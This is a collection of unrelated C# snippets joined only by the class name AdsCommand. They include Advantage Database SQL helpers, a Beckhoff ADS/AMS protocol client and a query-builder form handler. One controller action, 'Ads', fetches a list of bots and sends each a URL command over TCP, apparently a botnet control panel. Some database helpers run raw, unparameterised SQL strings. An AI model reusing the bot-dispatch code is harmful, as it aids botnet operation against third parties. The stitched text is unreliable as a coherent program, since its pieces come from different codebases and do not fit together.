public static DataSet GetSqlResult(string sql, AdsParameterCollection parameters)
{
AdsConnection connection = CreateConnection();
connection.Open();
DataSet ds = new DataSet();
try
{
AdsCommand selectCommand = new AdsCommand(sql, connection);
if (parameters != null)
{
foreach (var parameter in parameters)
{
selectCommand.Parameters.Add(parameter);
}
}
AdsDataAdapter adapter = new AdsDataAdapter(selectCommand);
adapter.Fill(ds, "RESULT");
}
finally
{
connection.Close();
}
return(ds);
}
public async Task <IActionResult> Ads(AdsModel model)
{
var method = new BaseCommands
{
Method = "Ads"
};
var Variables = new AdsVariables
{
Url = model.Url
};
var Command = new AdsCommand
{
newVariables = Variables,
newBaseCommand = method,
};
var bots = new GetBotsByStatusQuery
{
status = model.Force
};
var botlist = await _mediator.Send(bots);
var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));
return(Json(OverWriterResponse(response, botlist)));
}
public AdsRequest(AdsCommand command, uint group, uint offset, uint length, byte[] payload)
{
Command = command;
IndexGroup = group;
IndexOffset = offset;
ReadLength = length;
Payload = payload;
}
public AdsContext(string address, AdsCommand command, uint invokeid, uint group, uint offset, uint length, byte[] payload)
{
Route = !string.IsNullOrEmpty(address) ? address : throw new ArgumentNullException();
InvokeID = invokeid;
Request = new AdsRequest(command, group, offset, length, payload);
Response = new AdsResponse(command);
CreationTime = DateTime.Now.Ticks;
}
private void tabControl1_Selected(object sender, TabControlEventArgs e)
{
// Move the input focus to the query builder.
// This will fire Leave event in the text box and update the query builder
// with modified query text.
queryBuilder.Focus();
Application.DoEvents();
// Try to execute the query using current database connection
if (e.TabPage == tabPageData)
{
dataGridView1.DataSource = null;
if (queryBuilder.MetadataProvider != null && queryBuilder.MetadataProvider.Connected)
{
AdsCommand command = (AdsCommand)queryBuilder.MetadataProvider.Connection.CreateCommand();
command.CommandText = queryBuilder.SQL;
// handle the query parameters
if (queryBuilder.Parameters.Count > 0)
{
for (int i = 0; i < queryBuilder.Parameters.Count; i++)
{
if (!command.Parameters.Contains(queryBuilder.Parameters[i].FullName))
{
AdsParameter parameter = new AdsParameter();
parameter.ParameterName = queryBuilder.Parameters[i].FullName;
parameter.DbType = queryBuilder.Parameters[i].DataType;
command.Parameters.Add(parameter);
}
}
using (QueryParametersForm qpf = new QueryParametersForm(command))
{
qpf.ShowDialog();
}
}
AdsDataAdapter adapter = new AdsDataAdapter(command);
DataSet dataset = new DataSet();
try
{
adapter.Fill(dataset, "QueryResult");
dataGridView1.DataSource = dataset.Tables["QueryResult"];
}
catch (Exception ex)
{
MessageBox.Show(ex.Message, "SQL query error");
}
}
}
}
//public void Fill<T>(DataSet dataSet, Expression<Func<T, bool>> filterExpression)
//{
// AdsEntityMapping mapping = AdsEntityMapping.GetForType(typeof(T));
// Fill<T>(mapping, dataSet, CreateQuery<T>(mapping, filterExpression));
//}
public void Delete <T>(string sqlFilterExpression) where T : class
{
AdsEntityMapping mapping = AdsEntityMapping.GetForType(typeof(T));
AdsCommand command = new AdsCommand();
command.Connection = connection;
command.CommandText = CreateDeleteQuery <T>(mapping, sqlFilterExpression);
LastSqlCommandText = command.CommandText;
command.ExecuteNonQuery();
}
internal async Task <T> RunCommandAsync <T>(AdsCommand adsCommand) where T : AdsCommandResponse
{
await this.amsSocket.Async.ConnectAndListenAsync();
if (ConnectedAsync == false)
{
throw new AdsException("You are combining async and non-async methods!");
}
invokeId++;
byte[] message = GetAmsMessage(adsCommand);
var responseTask = Task.Factory.FromAsync <T>(BeginGetResponse <T>, EndGetResponse <T>, invokeId);
await amsSocket.Async.SendAsync(message);
return(await responseTask);
}
private byte[] GetAmsMessage(AdsCommand adsCommand)
{
IEnumerable <byte> data = adsCommand.GetBytes();
IEnumerable <byte> message = AmsNetIdTarget.Bytes; //AmsNetId Target
message = message.Concat(BitConverter.GetBytes(AmsPortTarget)); //AMSPort Target
message = message.Concat(AmsNetIdSource.Bytes); //AmsNetId Source
message = message.Concat(BitConverter.GetBytes(AmsPortSource)); //AMSPort Source
message = message.Concat(BitConverter.GetBytes(adsCommand.CommandId)); //Command Id
message = message.Concat(BitConverter.GetBytes((ushort)0x0004)); //State Flags
message = message.Concat(BitConverter.GetBytes((uint)data.Count())); //Length
message = message.Concat(BitConverter.GetBytes((uint)0)); //Error Code
message = message.Concat(BitConverter.GetBytes(invokeId)); //Invoke Id
message = message.Concat(data); //Data
//2 bytes reserved 0 + 4 bytes for length + the rest
message = BitConverter.GetBytes((ushort)0).Concat(BitConverter.GetBytes((uint)message.Count())).Concat(message);
return(message.ToArray <byte>());
}
public static void _executeScalar(String sSql)
{
AdsConnection connection = CreateConnection();
connection.Open();
try
{
DataSet ds = new DataSet();
AdsCommand command = new AdsCommand(sSql, connection);
command.ExecuteScalar();
command.Dispose();
}
catch (Exception e)
{
throw new Exception(e.Message);
}
finally
{
connection.Close();
}
}
internal T RunCommand <T>(AdsCommand adsCommand) where T : AdsCommandResponse
{
this.amsSocket.Sync.ConnectAndListen();
if (ConnectedAsync == true)
{
throw new AdsException("You are combining async and non-async methods!");
}
invokeId++;
byte[] message = GetAmsMessage(adsCommand);
var task = Task.Factory.FromAsync <T>(BeginGetResponse <T>, EndGetResponse <T>, invokeId);
amsSocket.Sync.Send(message);
if (!task.Wait(CommandTimeOut))
{
throw new AdsException(String.Format("Running the command timed out after {0} ms!", CommandTimeOut));
}
if (task.Result.UnknownException != null)
{
throw task.Result.UnknownException;
}
return(task.Result);
}
public void SaveOrUpdate(object obj)
{
AdsEntityMapping mapping = AdsEntityMapping.GetForType(obj.GetType());
AdsEntityMemberMapping autoIncPrimaryKeyMapping = null;
bool isInsert = !mapping.IsPrimaryKeySet(obj);
string list1 = string.Empty;
string list2 = string.Empty;
AdsCommand command = new AdsCommand();
command.Connection = connection;
foreach (AdsEntityMemberMapping memberMapping in mapping.Members)
{
if (memberMapping.ColumnAttribute.IsPrimaryKey && memberMapping.ColumnAttribute.IsAutoGenerated)
{
autoIncPrimaryKeyMapping = memberMapping;
}
if (list1.Length > 0)
{
list1 += ",";
}
if (isInsert)
{
if (!memberMapping.ColumnAttribute.IsPrimaryKey)
{
list1 += memberMapping.ResolvedName;
if (list2.Length > 0)
{
list2 += ",";
}
list2 += ":p_" + memberMapping.ResolvedName;
}
}
else
{
if (memberMapping.ColumnAttribute.IsPrimaryKey)
{
if (list2.Length > 0)
{
list2 += " and ";
}
list2 += string.Format("{0} = :p_{0}", memberMapping.ResolvedName);
}
else
{
list1 += string.Format("{0} = :p_{0}", memberMapping.ResolvedName);
}
}
if (!isInsert || (isInsert && !(memberMapping.ColumnAttribute.IsPrimaryKey && memberMapping.ColumnAttribute.IsAutoGenerated)))
{
command.Parameters.Add(":p_" + memberMapping.ResolvedName, memberMapping.GetValue(obj));
}
}
string sql;
if (isInsert)
{
sql = string.Format("insert into {0} ({1}) values ({2})", mapping.ResolvedName, list1, list2);
}
else
{
sql = string.Format("update {0} set {1} where {2}", mapping.ResolvedName, list1, list2);
}
command.CommandText = sql;
LastSqlCommandText = command.CommandText;
command.ExecuteNonQuery();
if (isInsert && autoIncPrimaryKeyMapping != null)
{
object lastAutoInc;
if (autoIncPrimaryKeyMapping.MemberType == typeof(int))
{
lastAutoInc = command.LastAutoinc;
}
else if (autoIncPrimaryKeyMapping.MemberType == typeof(uint))
{
lastAutoInc = (uint)command.LastAutoinc;
}
else if (autoIncPrimaryKeyMapping.MemberType == typeof(long))
{
lastAutoInc = (long)command.LastAutoinc;
}
else if (autoIncPrimaryKeyMapping.MemberType == typeof(ulong))
{
lastAutoInc = (ulong)command.LastAutoinc;
}
else
{
throw new NotImplementedException("The type of the primary key is not supported for auto-incrementation");
}
autoIncPrimaryKeyMapping.SetValue(obj, lastAutoInc);
}
}
protected void Fill <T>(AdsEntityMapping mapping, DataSet dataSet, int?topCount, string sqlFilterExpression, string sqlOrderExpression) where T : class
{
DataTable table = new DataTable(mapping.ResolvedName);
foreach (var member in mapping.Members)
{
DataColumn column = new DataColumn(member.ResolvedName);
if (member.MemberType.IsGenericType)
{
Type genericTypeDef = member.MemberType.GetGenericTypeDefinition();
if (genericTypeDef == typeof(Nullable <>))
{
column.AllowDBNull = true;
column.DataType = member.MemberType.GetGenericArguments()[0];
}
}
else
{
if (member.MemberType.IsValueType)
{
column.AllowDBNull = false;
}
else
{
column.AllowDBNull = member.ColumnAttribute.IsNullable;
}
column.DataType = member.MemberType;
}
table.Columns.Add(column);
}
AdsCommand command = new AdsCommand(CreateSelectQuery <T>(mapping, topCount, sqlFilterExpression, sqlOrderExpression), connection);
AdsDataAdapter adapter = new AdsDataAdapter(command);
LastSqlCommandText = command.CommandText;
adapter.Fill(table);
if (IsAutoTrimmingEnabled)
{
foreach (var member in mapping.Members)
{
string name = member.ResolvedName;
if (member.MemberType == typeof(string) && member.ColumnAttribute.IsAutoTrimmingEnabled)
{
foreach (DataRow row in table.Rows)
{
if (!row.IsNull(name))
{
row[name] = ((string)row[name]).TrimEnd();
}
}
}
}
}
dataSet.Merge(table);
}
public T Get <T>(object key) where T : class
{
AdsEntityMapping mapping = AdsEntityMapping.GetForType(typeof(T));
var primaryKeyMappings = new List <AdsEntityMemberMapping>();
foreach (AdsEntityMemberMapping memberMapping in mapping.Members)
{
if (memberMapping.ColumnAttribute.IsPrimaryKey)
{
primaryKeyMappings.Add(memberMapping);
}
}
if (primaryKeyMappings.Count == 0)
{
throw new AdsContextException("No primary key is defined for the class");
}
if (primaryKeyMappings.Count > 1)
{
throw new AdsContextException("Multiple primary key columns are not supported");
}
AdsEntityMemberMapping primaryKeyMapping = primaryKeyMappings[0];
string selectFilter = string.Format("{0} = :p_key", primaryKeyMapping.ResolvedName);;
string query = CreateSelectQuery <T>(mapping, null, selectFilter, null);
AdsCommand command = new AdsCommand(query, connection);
command.Parameters.Add(":p_key", key);
AdsDataReader reader = command.ExecuteReader();
if (reader.HasRows && reader.Read())
{
T obj = (T)Activator.CreateInstance(typeof(T));
foreach (AdsEntityMemberMapping memberMapping in mapping.Members)
{
int resolvedNameOrdinal = reader.GetOrdinal(memberMapping.ResolvedName);
object value = null;
if (!reader.IsDBNull(resolvedNameOrdinal))
{
value = reader.GetValue(resolvedNameOrdinal);
if (memberMapping.MemberType == typeof(uint) && value is int)
{
value = (uint)(int)value;
}
if (memberMapping.MemberType == typeof(ushort) && value is short)
{
value = (ushort)(short)value;
}
}
memberMapping.SetValue(obj, value);
}
return(obj);
}
return(null);
}
/// <summary>
/// Run an SQl Statement on the Database Server
/// </summary>
/// <param name="SQL">SQL Command</param>
/// <returns>Advantage Database Reader Object</returns>
public AdsDataReader RunSQL(string SQL)
{
AdsCommand sqlCommand;
AdsDataReader dataReader;
sqlCommand = new AdsCommand(SQL, dbInstance);
dataReader = sqlCommand.ExecuteReader();
return dataReader;
}
/// <summary>
/// Execute an SQL statement and returns the number of rows affected
/// </summary>
/// <param name="SQL"></param>
/// <returns></returns>
public int RunNonQuery(string SQL)
{
AdsCommand sqlCommand;
sqlCommand = new AdsCommand(SQL, dbInstance);
return sqlCommand.ExecuteNonQuery();
}
public AdsResponse(AdsCommand command)
{
Command = command;
Payload = null;
Error = Error.GeneralError;
}
